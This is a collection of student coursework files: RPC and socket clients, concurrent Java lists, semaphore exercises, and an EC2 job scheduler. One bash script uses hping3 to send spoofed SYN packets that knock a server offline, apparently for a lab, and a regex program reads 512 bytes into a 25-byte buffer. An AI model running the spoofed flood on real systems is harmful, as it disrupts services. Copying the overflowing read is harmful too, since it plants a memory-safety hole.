return; } /* get the information of a specific paper */ void info(char* num) { str_info *in = NULL; int number; /* convert string to number */ number = atoi(num); /* get the info from the server */ in = info_1(&number, cl); /* print if a paper is found */ if(in->number != -1) printf("%d\t%s\t%s\n", in->number, in->name, in->title); return; } /* fetch a paper from the server */ void fetch(char* num) { paper *p = NULL; int i, number; /* convert string to number */ number = atoi(num); /* get the paper */ p = fetch_1(&number, cl); /* print each character of the binary * file. NOTE not all characters actually * print something on the screen */ for(i = 0; i < p->len; i++) printf("%c", p->val[i]); return; } int main(int argc, const char *argv[]) { if(argc < 3) show_options(argv[0]); /* connect to the sun rpc server */ cl = clnt_create(argv[1], PAPER_SERVER, PAPER_VERSION, "tcp"); if(cl == NULL) { perror("No RPC server found"); exit(-1); } /* execute command corresonding to the input * check on enough arguments and if given * numbers can be converted */ if(!strcmp(argv[2], "add") && argc >= 6) add(argv+3); else if(!strcmp(argv[2], "remove") && argc >= 4 && is_a_number(argv[3])) remove_paper((char *)argv[3]); else if(!strcmp(argv[2], "list")) list(); else if(!strcmp(argv[2], "info") && argc == 4 && is_a_number(argv[3])) info((char *)argv[3]); else if(!strcmp(argv[2], "fetch") && argc == 4 && is_a_number(argv[3])) fetch((char *)argv[3]); else show_options(argv[0]); return 0; } <file_sep>CC = gcc CFLAGS = -O2 -Wall -Werror SDIR = src/ BDIR = bin/ EXE = $(patsubst %.c,%, $(shell ls $(SDIR))) MKDIR = mkdir -p $(BDIR) .PHONY: bin clean all: bin $(EXE) bin: $(MKDIR) %: $(SDIR)%.c $(CC) $^ -o $(BDIR)$@ $(CFLAGS) clean: rm -rf bin <file_sep>/** * Assignment Concurrency & Multithreading. * * <NAME>, rkj800, 2526314 * <NAME>, rtt210, 2526863 * * Program: FineGrainedList.java * This program implements the a concurrent data structure with fine * grained synchronization. Locks are obtained in a hand-over-hand * fashion. * */ package data_structures.implementation; import data_structures.Sorted; import java.util.concurrent.locks.ReentrantLock; public class FineGrainedList<T extends Comparable<T>> implements Sorted<T> { private Node head; /** * Constructor. init head and tail node */ public FineGrainedList() { head = new HeadNode(); head.next = new TailNode(); } /** * Adds a node to the datastructure with Fine grained synchronization * * @param T t item to add to the datastructure */ public void add(T t) { /* start with acquiring lock on head */ head.lock(); /* copy of head */ Node pred = head; Node curr = pred.next; try { /* acquire lock on current node */ curr.lock(); try { /* traverse list until, elem or index is found or */ while(curr.compareTo(t) == -1) { pred.unlock(); pred = curr; curr = curr.next; curr.lock(); } Node node = new ListNode(t, curr); pred.next = node; } finally { curr.unlock(); } } finally { pred.unlock(); } return; } /** * Find the node with value t and removes it. * It traversers the list from the head to the element * to be removed. * * @param T t value of node to be removed */ public void remove(T t) { Node pred = null, curr = null; head.lock(); try { pred = head; curr = pred.next; curr.lock(); try { /* find the place in the list the Node with item t should be */ while(curr.compareTo(t) == -1) { pred.unlock(); pred = curr; curr = curr.next; curr.lock(); } /* Remove the node if it has the item t */ if(curr.compareTo(t) == 0) { pred.next = curr.next; } } finally { curr.unlock(); } } finally { pred.unlock(); } return; } /** * prints the datastructure * @return String */ public String toString() { String s = ""; Node node = head; while(node.next.item != null) { node = node.next; s += node.item + " "; } return s; } /** * Nodes now have an lock of each own which * have to be locked before using the next * field */ abstract class Node { T item = null; Node next = null; ReentrantLock rtl = new ReentrantLock(); /** * wrapper function to change the * node.lock.lock() into node.lock() */ protected void lock() { rtl.lock(); } protected void unlock() { rtl.unlock(); } protected abstract int compareTo(T t); } /* sentinal head node */ class HeadNode extends Node { public int compareTo(T t) { return -1; } } /* sentinal tail node */ class TailNode extends Node { public int compareTo(T t) { return 1; } } /* normal list node */ class ListNode extends Node { ListNode(T t, Node n) { item = t; next = n; } protected int compareTo(T t) { return item.compareTo(t); } } } <file_sep>#!all: Hotel HotelImp HotelServer HotelClient all: javac Hotel.java javac HotelImp.java javac HotelServer.java javac HotelClient.java #!Hotel: Hotel.java #! javac Hotel.java #!HotelImp: HotelImp.java #! javac HotelImp.java #!HotelServer: HotelServer.java #! javac HotelServer.java #!HotelClient: HotelClient.java #! javac HotelClient.java clean: rm *.class #!.PHONY: hotel hotelimp hotelserver hotelclient <file_sep>#include <stdint.h> #include <pcap.h> #include <stdlib.h> #include <unistd.h> #include <pcap/pcap.h> #include <arpa/inet.h> #include <netinet/if_ether.h> #include <libnet.h> pcap_t *pcap_handle; void init_pcap(); uint32_t packet_sequence_number(const unsigned char *packet); <file_sep>CC=gcc EXE=client serv1 serv2 serv3 talk HEADER=writen_error all: writen $(EXE) %: %.c $(CC) -c $^ $(CC) $@.o $(HEADER).o -o $@ writen: $(CC) -c $(HEADER).c clean: rm $(EXE) *.o <file_sep>from proto import Job, NodeInfo, ServerMechanism from ec2_binding import EC2Binding from datetime import datetime from twisted.internet import reactor, threads import sys, os, signal class Scheduler(ServerMechanism): def schedule(self, node, job, nodes): ''' Scheduling routine This function is invoked when either: 1) a node is booted up (job = None) 2) a job on a node is finished Input: 'node' NodeInfo : The node which has a pending event 'job' Job : If set, the current finished job 'nodes' [NodeInfo] : Current active nodes in the system Output: This function should return a dictionary {node:[job]} which defines new jobs for different nodes. Note that the job execution can fail. This function is able to detect possible failures by following job.status. ''' # Node connected? if job == None: print('Worker with Node ID {0} connected'.format(node.node_id)) # Schedule the max number of jobs to run at the node (self.jobs_per_node) num_new_jobs = self.jobs_per_node # Job done. else: # Schedule 1 new job for every finished job num_new_jobs = 1 self.bot[job.job_id].status = 'done' jobs_ready = [job for job_id, job in self.bot.iteritems() if job.status == 'ready'] jobs_done = [job for job_id, job in self.bot.iteritems() if job.status == 'done'] jobs_exec = [job for job_id, job in self.bot.iteritems() if job.status == 'exec'] # All jobs done? if len(jobs_done) == len(self.bot): print('All jobs done. Shutting down VMs.') self.finalize(self.instances) print('Done.') delta = datetime.now() - self.before print ('Took {0} seconds').format(delta.seconds) os.kill(os.getpid(), signal.SIGINT) # Super scheduling schedule schedules = {} available_jobs = len(jobs_ready) if available_jobs != 0: jobs = jobs_ready[0:min(available_jobs, num_new_jobs)] for job in jobs: job.status = 'exec' schedules[node] = jobs jobs_size = 0 print_str = 'Schedules:\n' for node, jobs in schedules.iteritems(): print_str += 'Node ' + node.node_id + ':\n Job id' for job in jobs: print_str += ' {0},'.format(job.job_id) jobs_size += 1 print_str = print_str[:-1] # remove last comma if (jobs_size != 0): print('{0}'.format(print_str)) return schedules def start_vms(self, vm_num): self.ec2 = EC2Binding() for i in range(int(vm_num)): start_up_script = self.generate_client_script(self.instance_type, i) instance = self.ec2.start_instance(self.instance_type, start_up_script, i) self.instances.append(instance) def __init__(self, bot, vm_num, instance_type, ip, port, worker_log_dir): super(Scheduler, self).__init__(ip, port, bot, worker_log_dir) self.before = datetime.now() self.bot = bot self.vm_num = vm_num self.instance_type = instance_type self.instances = [] self.jobs_per_node = 2 # amount of jobs to schedule to each node at the time # Start up the VMs threads.deferToThread(self.start_vms, vm_num) # Start up the server self.start_server() def finalize(self, instances): for instance in instances: self.ec2.end_instance(instance) <file_sep>/* * Please do not edit this file. * It was generated using rpcgen. */ #include "paper.h" bool_t xdr_paper (XDR *xdrs, paper *objp) { register int32_t *buf; if (!xdr_long (xdrs, &objp->len)) return FALSE; if (!xdr_string (xdrs, &objp->val, ~0)) return FALSE; return TRUE; } bool_t xdr_str_add (XDR *xdrs, str_add *objp) { register int32_t *buf; if (!xdr_string (xdrs, &objp->name, ~0)) return FALSE; if (!xdr_string (xdrs, &objp->title, ~0)) return FALSE; if (!xdr_paper (xdrs, &objp->p)) return FALSE; return TRUE; } bool_t xdr_str_list (XDR *xdrs, str_list *objp) { register int32_t *buf; if (!xdr_int (xdrs, &objp->number)) return FALSE; if (!xdr_string (xdrs, &objp->name, ~0)) return FALSE; if (!xdr_string (xdrs, &objp->title, ~0)) return FALSE; if (!xdr_pointer (xdrs, (char **)&objp->next, sizeof (str_list), (xdrproc_t) xdr_str_list)) return FALSE; return TRUE; } bool_t xdr_str_info (XDR *xdrs, str_info *objp) { register int32_t *buf; if (!xdr_int (xdrs, &objp->number)) return FALSE; if (!xdr_string (xdrs, &objp->name, ~0)) return FALSE; if (!xdr_string (xdrs, &objp->title, ~0)) return FALSE; return TRUE; } bool_t xdr_int_out (XDR *xdrs, int_out *objp) { register int32_t *buf; if (!xdr_int (xdrs, objp)) return FALSE; return TRUE; } <file_sep>CC := gcc CFLAGS := -Wall all: paperclient paperserver clean: rm -f paperclient.o paper_clnt.o paper_xdr.o paper_svc.o paperserver.o paper_clnt.c paper.h paper_xdr.c paper_svc.c paperclient paperserver paperclient: paperclient.o paper_clnt.o paper_xdr.o $(CC) -o paperclient paperclient.o paper_clnt.o paper_xdr.o -lnsl paperserver: paperserver.o paper_svc.o paper_xdr.o $(CC) -o paperserver paperserver.o paper_svc.o paper_xdr.o -lnsl paper_clnt.c paper.h paper_xdr.c paper_svc.c: paper.x rpcgen paper.x paperclient.o: paperclient.c paper.h $(CC) $(CFLAGS) -c -o paperclient.o paperclient.c paper_clnt.o: paper_clnt.c paper.h $(CC) $(CFLAGS) -c -o paper_clnt.o paper_clnt.c paper_xdr.o: paper_xdr.c paper.h $(CC) $(CFLAGS) -c -o paper_xdr.o paper_xdr.c paper_svc.o: paper_svc.c paper.h $(CC) $(CFLAGS) -c -o paper_svc.o paper_svc.c paperserver.o: paperserver.c paper.h $(CC) $(CFLAGS) -c -o paperserver.o paperserver.c run: ./paperserver & ./paperclient localhost add 'rik 1' 'test1' ../../p.pdf ./paperclient localhost add 'rik 2' 'test2' ../../p.pdf <file_sep>#!/bin/bash java -cp ${0/%hotelgw/} HotelGW $@ <file_sep>/* * Please do not edit this file. * It was generated using rpcgen. */ #include "add.h" /* Default timeout can be changed using clnt_control() */ static struct timeval TIMEOUT = { 25, 0 }; int_out * add_1(argp, clnt) str_add *argp; CLIENT *clnt; { static int_out clnt_res; memset((char *)&clnt_res, 0, sizeof(clnt_res)); if (clnt_call(clnt, ADD, xdr_str_add, argp, xdr_int_out, &clnt_res, TIMEOUT) != RPC_SUCCESS) return (NULL); return (&clnt_res); } int_out * remove_1(argp, clnt) int *argp; CLIENT *clnt; { static int_out clnt_res; memset((char *)&clnt_res, 0, sizeof(clnt_res)); if (clnt_call(clnt, REMOVE, xdr_int, argp, xdr_int_out, &clnt_res, TIMEOUT) != RPC_SUCCESS) return (NULL); return (&clnt_res); } str_list * list_1(argp, clnt) void *argp; CLIENT *clnt; { static str_list clnt_res; memset((char *)&clnt_res, 0, sizeof(clnt_res)); if (clnt_call(clnt, LIST, xdr_void, argp, xdr_str_list, &clnt_res, TIMEOUT) != RPC_SUCCESS) return (NULL); return (&clnt_res); } str_info * info_1(argp, clnt) int *argp; CLIENT *clnt; { static str_info clnt_res; memset((char *)&clnt_res, 0, sizeof(clnt_res)); if (clnt_call(clnt, INFO, xdr_int, argp, xdr_str_info, &clnt_res, TIMEOUT) != RPC_SUCCESS) return (NULL); return (&clnt_res); } paper * fetch_1(argp, clnt) int *argp; CLIENT *clnt; { static paper clnt_res; memset((char *)&clnt_res, 0, sizeof(clnt_res)); if (clnt_call(clnt, FETCH, xdr_int, argp, xdr_paper, &clnt_res, TIMEOUT) != RPC_SUCCESS) return (NULL); return (&clnt_res); } <file_sep>/* error exit function * prints error string parameter given * and perror before exiting on a * negative integer */ void error_handling(int error, char *str); /* writen function from Stevens book page 78 */ ssize_t writen(int fd, const void *vptr, size_t n); <file_sep>#!/bin/bash java -cp ${0/%hotelserver/} HotelServer $@ <file_sep>#include <stdio.h> #include <stdlib.h> #include <netdb.h> #include <sys/socket.h> #include <sys/types.h> #include <errno.h> #include <string.h> /* writen function from Stevens book page 78 */ ssize_t writen(int fd, const void *vptr, size_t n) { size_t nleft; ssize_t nwritten; const char *ptr; ptr = vptr; nleft = n; while (nleft > 0) { if ((nwritten = write(fd, ptr, nleft)) <= 0) if (errno == EINTR) nwritten = 0; /* and call write() again */ else return -1; /* error */ nleft -= nwritten; ptr += nwritten; } return n; } /* displays the available command-line options available */ void commands(const char *cmd) { printf("usage: \n"); printf("%s <hostname> list : lists the number of rooms available\n", cmd); printf("%s <hostname> book <type> 'guest name' : book a room. type is a number\n", cmd); printf("%s <hostname> guests : lists the names of all registered guests\n", cmd); } /* checks whether a string represends a * valid number * * return 0 if not and 1 otherwise */ int is_a_number(const char *str) { char *end; long value = strtol(str, &end, 10); if (end == str || *end != '\0' || errno == ERANGE) return 0; else return 1; } /* check input for correct commands * * returns on correct input * prints command line and exits on * incorrect input */ void check_input(int length, const char *args[]) { if(length < 3) commands(args[0]); else if(!strcmp(args[2], "list")) return; else if(!strcmp(args[2], "book") && is_a_number(args[3]) && length > 4) return; else if(!strcmp(args[2], "guests")) return; else commands(args[0]); exit(-1); } int main(int argc, const char *argv[]) { int socket_fd, i; struct addrinfo *res, *res0, hints; ssize_t nread, nwriten; char buf[50] = "", input[300] = ""; memset(&hints, 0, sizeof(hints)); hints.ai_family = AF_INET; hints.ai_socktype = SOCK_STREAM; /* print commands on incorrect input */ check_input(argc, argv); /* concate all arguments together in order * to send them as one message over the socket */ for(i = 2; i < argc; i++) { if(i != 2) strncat(input, " ", 2); strncat(input, argv[i], strlen(argv[i])); } getaddrinfo(argv[1], "1234", &hints, &res0); /* find a socket which we can connect to */ for(res = res0; res; res = res0->ai_next) { socket_fd = socket(res->ai_family, res0->ai_socktype, res0->ai_protocol); /* try to connect with the gateway */ if(connect(socket_fd, res->ai_addr, res0->ai_addrlen) >= 0) break; } if(!res) { perror("No connection found"); exit(-1); } /* send the command to the gateway */ nwriten = writen(socket_fd, input, strlen(input)); /* retrieve and print answer from the gateway */ while((nread = read(socket_fd, (void *)buf, 49))) { buf[nread] = '\0'; printf("%s", buf); } printf("\n"); return 0; } <file_sep>/* Assignment 1 - Unix Multiprocessing * mysh1.c * * author: <NAME> * VUnet-ID: rkj800 * date: 20-09-2012 */ #include <stdio.h> #include <stdlib.h> #include <string.h> #include <unistd.h> #include <sys/types.h> int main() { char input[512], *args[2]; pid_t child_id; /* run the shell forever */ while(1) { fputs("$ ", stdout); fflush(stdout); /* get user input */ if(!fgets(input, 512, stdin) || !strcmp(input, "exit\n")) break; /* exit on EOF or exit command */ /* remove newline at the end */ input[strlen(input) - 1] = '\0'; /* argument array for execvp */ args[0] = input; args[1] = (char *)NULL; child_id = fork(); if(!child_id) { /* child executes given command */ execvp(input, args); printf("-bash: %s: command not found\n", input); break; /* exit child on command error */ } else if(child_id > 0) /* wait for child to end */ waitpid(child_id, 0, 0); } return 0; } <file_sep>/* Assignment 1 - Distributed Programming with Sockets * client.c * * author: <NAME> * VUnet-ID: rkj800 * date: 26-09-2012 */ #include <stdio.h> #include <stdlib.h> #include <string.h> #include <netdb.h> #include <sys/socket.h> #include <sys/types.h> #include "writen_error.h" int main(int argc, const char *argv[]) { int socket_fd, error = 0, counter = 0; struct addrinfo *res0, *res, hints; void *buf = malloc(sizeof(char) * 4); ssize_t nread; /* exit on no input */ if (argc < 2) { printf("usage: %s <host_name>\n", argv[0]); exit(-1); } memset(&hints, 0, sizeof hints); hints.ai_family = AF_INET; hints.ai_socktype = SOCK_STREAM; /* get a list of possible addresses */ error = getaddrinfo(argv[1], "1234", &hints, &res); error_handling((error == 0) - 1, "getaddrinfo error"); /* find a socket which we can connect to */ for(res0 = res; res0; res0 = res->ai_next) { socket_fd = socket(res0->ai_family, res->ai_socktype, res->ai_protocol); error_handling(socket_fd, "socket creation error"); if(connect(socket_fd, res0->ai_addr, res->ai_addrlen) >= 0) break; } /* no connection found */ if(!res0) { perror("no connection found"); exit(-1); } /* retrieve the counter value */ nread = read(socket_fd, &counter, 4); error_handling(nread - 4, "read less than 4 bytes"); /* print the counter value */ printf("%d\n", ntohl(counter)); return 0; } <file_sep>/* Assignment 1 - Unix Multiprocessing * syn1.c * * author: <NAME> * VUnet-ID: rkj800 * date: 20-09-2012 */ #include <stdio.h> #include <stdlib.h> #include <unistd.h> #include <sys/wait.h> #include <sys/types.h> #include <sys/sem.h> void display(char *str) { char *tmp; for(tmp=str; *tmp; tmp++) { write(1, tmp, 1); usleep(100); } } int main() { int i, id; struct sembuf up = {0, 1, 0}; struct sembuf down = {0, -1, 0}; /* get a semaphore */ id = semget(IPC_PRIVATE, 1, 0600); if(id == -1) { perror("semget failed"); exit(-1); /* exit on semaphore creation error */ } semop(id, &up, 1); /* initialize semaphore with 1 */ if (fork()) { for(i=0;i<10;i++) { /* lock semaphore (-1), display, and unlock (+1) */ semop(id, &down, 1); display("Hello world\n"); semop(id, &up, 1); } wait(NULL); semctl(id, 0, IPC_RMID); } else { for(i=0;i<10;i++) { /* lock semaphore (-1), display, and unlock (+1) */ semop(id, &down, 1); display("Bonjour monde\n"); semop(id, &up, 1); } } return 0; } <file_sep>import ConfigParser from libcloud.compute.types import Provider from libcloud.compute.providers import get_driver from libcloud.compute.deployment import MultiStepDeployment, ScriptDeployment from twisted.internet import threads import os class EC2Binding: ''' EC2 binding for this distributed execution system ''' def start_instance(self, instance_type, script, worker_id): instance_size = next(x for x in self.conn.list_sizes() if x.id == instance_type) return self.conn.create_node(name='worker_' + str(worker_id), size=instance_size, image=self.ami, location=self.zone, ex_userdata=script, ex_securitygroup=self.securitygroup, ex_keyname=self.keypair) def end_instance(self, instance): self.conn.destroy_node(instance) def __init__(self): # reading the general ec2 config config = ConfigParser.ConfigParser() config.read('config.ini') try: self.accesskey = config.get('ec2', 'accesskey') self.secretkey = config.get('ec2', 'secretkey') self.keypair = config.get('ec2', 'keypair') self.securitygroup = config.get('ec2', 'securitygroup') self.ami = config.get('ec2', 'ami') # This is for every node the same so lets just do this now self.key_path = "/root/" + self.keypair + ".pem" self.conn = get_driver(Provider.EC2_US_EAST)(self.accesskey, self.secretkey) self.ami = next(x for x in self.conn.list_images() if x.id == self.ami) self.zone = next(x for x in self.conn.list_locations() if x.availability_zone.name == "us-east-1a") except ConfigParser.NoOptionError: raise Exception('[-] missing config item in the "ec2" section') <file_sep>import os, inspect from twisted.internet import reactor, threads, task, defer from twisted.internet.defer import DeferredLock from twisted.spread import pb, flavors, banana class Job(flavors.RemoteCopy, flavors.Copyable): ''' Job definition ''' def __init__(self, command, job_id, status = None): self.command = command self.job_id = job_id if status == None: self.status = 'ready' else: self.status = status class ReceiverJob(flavors.RemoteCopy, flavors.Copyable): pass flavors.setUnjellyableForClass(Job, ReceiverJob) flavors.setUnjellyableForClass(ReceiverJob, Job) class NodeInfo(flavors.RemoteCopy, flavors.Copyable): ''' Node information ''' def __init__(self, instance_type = None, node_id = None): self.instance_type = instance_type self.node_id = node_id self.connected = True self.cur_jobs = 0 class ReceiverNodeInfo(flavors.RemoteCopy, flavors.Copyable): pass flavors.setUnjellyableForClass(NodeInfo, ReceiverNodeInfo) flavors.setUnjellyableForClass(ReceiverNodeInfo, NodeInfo) class MessageObject(flavors.RemoteCopy, flavors.Copyable): def __init__(self, command, job = None, node = None): self.command = command self.job = job self.node = node class ReceiverMessage(flavors.RemoteCopy, flavors.Copyable): pass flavors.setUnjellyableForClass(MessageObject, ReceiverMessage) flavors.setUnjellyableForClass(ReceiverMessage, MessageObject) class CustomClientFactory(pb.PBClientFactory): def clientConnectionFailed(self, connector, reason): print 'Connection failed' try: reactor.stop() except: pass def clientConnectionLost(self, connector, reason): print 'Connection lost' try: reactor.stop() except: pass class ClientMechanism(pb.Referenceable): def job_done(self, msg): self.server.callRemote("message", msg, self) def remote_message(self, msg): print('job received {0}'.format(msg.job.job_id)) d = threads.deferToThread(self.client.execute, msg) d.addCallback(self.job_done) def __init__(self, client): self.client = client self.server = None class ServerMechanism(pb.Root, object): def generate_client_script(self, instance_type, node_id): ''' Script for uploading the client code and starting it ''' client = os.path.join(self.path, 'worker.py') proto = os.path.join(self.path, 'proto.py') with open(client, 'r') as content_file: content_client = content_file.read() content_client = content_client.encode("hex") with open(proto, 'r') as content_file: content_proto = content_file.read() content_proto = content_proto.encode("hex") script = '#!/bin/bash\n' \ + 'echo ' + content_client \ + ' | xxd -r -p > /root/worker.py\n' \ + 'echo ' + content_proto \ + ' | xxd -r -p > /root/proto.py\n' \ + 'python /root/worker.py ' \ + self.ip + ' ' + self.port + ' ' + instance_type + ' ' \ + str(node_id) + ' ' + self.worker_log_dir \ + ' &>/root/worker_log\n' return script def schedule(self, node, job, nodes): raise Exception('Scheduling routine should be overridden') def start_server(self): reactor.listenTCP(int(self.port), pb.PBServerFactory(self)) reactor.run() def schedules_ready(self, results): for node in results: for job in results[node]: if node.connected: msg = MessageObject('job', job, node) try: self.connections[node.node_id].callRemote( "message", msg) except pb.DeadReferenceError: print('Node id {0} is disconnected'. format(node.node_id)) node.connected = False if node.connected == False: del(nodes[node.node_id]) del(connections[node.node_id]) self.lock.release() def start_scheduling(self, lock, msg): d = threads.deferToThread(self.schedule, msg.node, msg.job, self.nodes) d.addCallback(self.schedules_ready) def remote_message(self, msg, client_connection): if(msg.command == 'info'): node = NodeInfo(msg.node.instance_type, msg.node.node_id) self.nodes[node.node_id] = node self.connections[node.node_id] = client_connection d = self.lock.acquire() d.addCallback(self.start_scheduling, msg) def __init__(self, ip, port, bot, worker_log_dir): self.ip = ip self.port = port self.bot = bot self.worker_log_dir = worker_log_dir self.path = os.path.dirname(os.path.abspath(inspect.getfile( inspect.currentframe()))) self.connections = {} self.nodes = {} self.lock = DeferredLock() <file_sep>from pylab import * data = {'cgl': 0, 'fgl': 1, 'lfl': 2, 'cgt': 3, 'fgt': 4, 'lft': 5} file = open("test1.txt", 'r') plots = [[]*6 for x in xrange(6)] while 1: line = file.readline() if not line: break line = line.split(' ') plots[data[line[0]]].append(int(line[4][:-1])) x = [1, 2, 4, 5, 8, 10] figure(1) title("List threads benchmark") plot(x, plots[0], label="CGT") plot(x, plots[1], label="FGT") plot(x, plots[2], label="LFT") legend() show() figure(1) title("Tree threads benchmark") plot(x, plots[3], label="CGT") plot(x, plots[4], label="FGT") plot(x, plots[5], label="LFT") legend() show() <file_sep>#include <stdio.h> #include <stdlib.h> #include <errno.h> #include "../paper/paper.h" #include "../setup.h" CLIENT *cl; /* checks whether a string represends a * valid number * * return 0 if not and 1 otherwise */ int is_a_number(const char *str, int *num) { char *end; *num = strtol(str, &end, 10); if (end == str || *end != '\0' || errno == ERANGE) return 0; else return 1; } void show_paper(int id) { int i; paper *p = NULL; /* get the paper */ p = fetch_1(&id, cl); /* print each character of the binary * file. NOTE not all characters actually * print something on the screen */ printf("Content-type: application/octet-stream\n"); printf("Content-Length: %ld\n\n", p->len); for(i = 0; i < p->len; i++) printf("%c", p->val[i]); } int main(int argc, const char *argv[]) { char *query; int number; cl = clnt_create(PAPERSERVER_ADDR, PAPER_SERVER, PAPER_VERSION, "tcp"); if(cl == NULL) { perror("No RPC server found"); exit(-1); } query = getenv("QUERY_STRING"); if(is_a_number(query+3, &number)) show_paper(number); else { printf("Content-type: text/html\n\n"); printf("Paper not found"); } return 0; } <file_sep>#!/usr/bin/python import sys, ConfigParser from scheduler import Scheduler from proto import Job def main(argv=None): if argv is None: argv = sys.argv config = ConfigParser.ConfigParser() config.read('config.ini') try: server_ip = config.get('system', 'host') server_port = config.get('system', 'port') instance_type = config.get('system', 'instance_type') instance_num = config.get('system', 'instance_num') jobs_log_dir = config.get('system', 'jobs_log_dir') bot_file = config.get('system', 'bot_file') except ConfigParser.NoOptionError: raise Exception('[-] missing config item in the "system" section') # Bag of tasks is in the form of {job_id: Job} bot = {} lines = open(bot_file).readlines() for i in range(0, len(lines)): bot[i] = Job(lines[i].strip(), i) scheduler = Scheduler(bot, instance_num, instance_type, server_ip, server_port, jobs_log_dir) if __name__ == "__main__": sys.exit(main()) <file_sep>/* Assignment 1 - Unix Multiprocessing * synthread2.c * * author: <NAME> * VUnet-ID: rkj800 * date: 20-09-2012 */ #include <stdio.h> #include <stdlib.h> #include <unistd.h> #include <sys/wait.h> #include <sys/types.h> #include <sys/sem.h> pthread_cond_t cond_ab; pthread_cond_t cond_cd; pthread_mutex_t cond_mutex; int predicate = 0; void display(char *str) { char *tmp; for(tmp=str; *tmp; tmp++) { write(1, tmp, 1); usleep(100); } } void *ab(void *param) { int i; for(i = 0; i < 10; i++) { /* lock mutex, display, signal cd thread and wait for signal of cd */ pthread_mutex_lock(&cond_mutex); predicate = 1; display(param); pthread_cond_signal(&cond_cd); while(predicate) pthread_cond_wait(&cond_ab, &cond_mutex); pthread_mutex_unlock(&cond_mutex); } return; } void *cd(void *param) { int i; for(i = 0; i < 10; i++) { /* lock mutex, wait for signal of ab, display and signal ab */ pthread_mutex_lock(&cond_mutex); while(!predicate) pthread_cond_wait(&cond_cd, &cond_mutex); display(param); predicate = 0; pthread_cond_signal(&cond_ab); pthread_mutex_unlock(&cond_mutex); } return; } int main() { int hel, bon; pthread_t hel_id, bon_id; pthread_cond_init(&cond_ab, NULL); pthread_cond_init(&cond_cd, NULL); pthread_mutex_init(&cond_mutex, NULL); /* create threads with the corresponding strings */ hel = pthread_create(&hel_id, NULL, ab, "ab"); bon = pthread_create(&bon_id, NULL, cd, "cd\n"); /* exit on thread error */ if(hel == -1 || bon == -1) { perror("Threads creation error"); exit(-1); } /* join threads and destroy mutex and condition variables before exiting */ pthread_join(hel_id, NULL); pthread_join(bon_id, NULL); pthread_cond_destroy(&cond_ab); pthread_cond_destroy(&cond_cd); return 0; } <file_sep>#include <stdio.h> #include <stdlib.h> #include <string.h> /* check the string to match the re: * (ab | bc)* */ int match(char* next) { A: if(*next == '\0') return 1; if(*next == 'a') { next++; goto B; } if(*next == 'b') { next++; goto C; } return 0; B: if(*next == 'b') { next++; goto A; } return 0; C: if(*next == 'c') { next++; goto A; } return 0; } int main(int argc, const char *argv[]) { char input[25] = {0}; printf("Input is checked to match the regex: (ab|bc)*\n"); /* match user input on the regex */ while(fgets(input, 512, stdin)) { input[strlen(input)-1] = '\0'; /* remove newline at end */ printf("%d\n", match(input)); } return 0; } <file_sep>from pylab import * data = {'cgl': 0, 'fgl': 1, 'lfl': 2, 'cgt': 3, 'fgt': 4, 'lft': 5} file = open("test3.txt", 'r') plots = [[]*6 for x in xrange(6)] while 1: line = file.readline() if not line: break line = line.split(' ') plots[data[line[0]]].append(int(line[4][:-1])) x = [0, 10, 20, 30, 40, 50, 60, 70, 80] figure() title("List workload benchmark") plot(x, plots[0], label="CGL") plot(x, plots[1], label="FGL") plot(x, plots[2], label="LFL") legend(loc=2) show() figure(1) title("Tree workload benchmark") plot(x, plots[3], label="CGT") plot(x, plots[4], label="FGT") plot(x, plots[5], label="LFT") legend(loc=2) show() <file_sep>#!/bin/bash # Kill Server sudo hping3 -c 10 -p 513 -S -e disable --spoof 172.16.31.10 172.16.1.1 # wait for server to be down sleep 3 #sudo hping3 -c 1 -p 513 -S -e enable --spoof 172.16.31.10 172.16.1.1 <file_sep>/* Assignment 1 - Unix Multiprocessing * syn2.c * * author: <NAME> * VUnet-ID: rkj800 * date: 20-09-2012 */ #include <stdio.h> #include <stdlib.h> #include <unistd.h> #include <sys/wait.h> #include <sys/types.h> #include <sys/sem.h> void display(char *str) { char *tmp; for(tmp=str; *tmp; tmp++) { write(1, tmp, 1); usleep(100); } } int main() { int i, sem_ab, sem_cd; struct sembuf up = {0, 1, 0}; struct sembuf down = {0, -1, 0}; pid_t child_id; /* get two shemaphores */ sem_ab = semget(IPC_PRIVATE, 1, 0600); sem_cd = semget(IPC_PRIVATE, 1, 0600); if(sem_ab == -1 || sem_cd == -1) { perror("semget failed"); exit(-1); /* exit on semaphore creation error */ } semop(sem_ab, &up, 1); /* initialize semaphore ab with 1 */ child_id = fork(); if(child_id) { for(i = 0; i < 10; i++) { semop(sem_ab, &down, 1); /* down semaphore ab */ display("ab"); semop(sem_cd, &up, 1); /* up semaphore cd */ } } else { for(i = 0; i < 10; i++) { semop(sem_cd, &down, 1); /* down semaphore cd */ display("cd\n"); semop(sem_ab, &up, 1); /* up sempahore ab */ } } /* wait for child to end */ waitpid(child_id, 0, 0); /* remove semaphores */ semctl(sem_ab, 0, IPC_RMID); semctl(sem_cd, 0, IPC_RMID); return 0; } <file_sep>#include <sys/time.h> #include "tab.h" void usage() { printf("Usage: balblabla\n"); } void get_arguments(int argc, char *argv[], int *n) { int i; for(i = 1; i < argc; i++) { if(!strcmp(argv[i], "-random")) { i++; (*n) = atoi(argv[i]); } } } int distance(int **tab, int n) { int i, j; unsigned long dist = 0; for (i = 0; i < n; i++) for (j = 0; j < n; j++) dist += tab[i][j]; return dist; } int main(int argc, char *argv[]) { int m, n=10000, **tab, *ptr; unsigned long d; double time; struct timeval start, end; //usage(); get_arguments(argc, argv, &n); /* set start time */ gettimeofday(&start, 0); /* initialize tab with random values */ /* TODO initialize tab on input */ init_tab(n, &m, &tab, 1, &ptr); /* calculate total distance of the roads */ d = distance(tab, n); /* calculate and print calculation time */ gettimeofday(&end, 0); time = (end.tv_sec + (end.tv_usec / 1000000.0)) -\ (start.tv_sec + (start.tv_usec / 1000000.0)); fprintf(stderr, "ASP took %f seconds\n", time); /* print the total distance */ printf("Distance: %ld\n", d); /* free the 2d road array */ free_tab(tab, n); return 0; } <file_sep>/** * Assignment Concurrency & Multithreading. * * <NAME>, rkj800, 2526314 * <NAME>, rtt210, 2526863 * * Program: LockFeeList.java * This program implements a concurrent data structure (list) with lock * free synchronization. An element is added by setting a pointer in a * single atomic step. Removing first marks a node to be logically * removed and then remove it physically. */ package data_structures.implementation; import data_structures.Sorted; import java.util.concurrent.atomic.AtomicMarkableReference; public class LockFreeList<T extends Comparable<T>> implements Sorted<T> { private Node head; /** * Constructor. init head and tail node */ public LockFreeList() { head = new HeadNode(); head.next = new AtomicMarkableReference<Node>(new TailNode(), false); } /** * adds an item to the datastructure. * * @param T t value of item of the new node. */ public void add(T t) { while(true) { 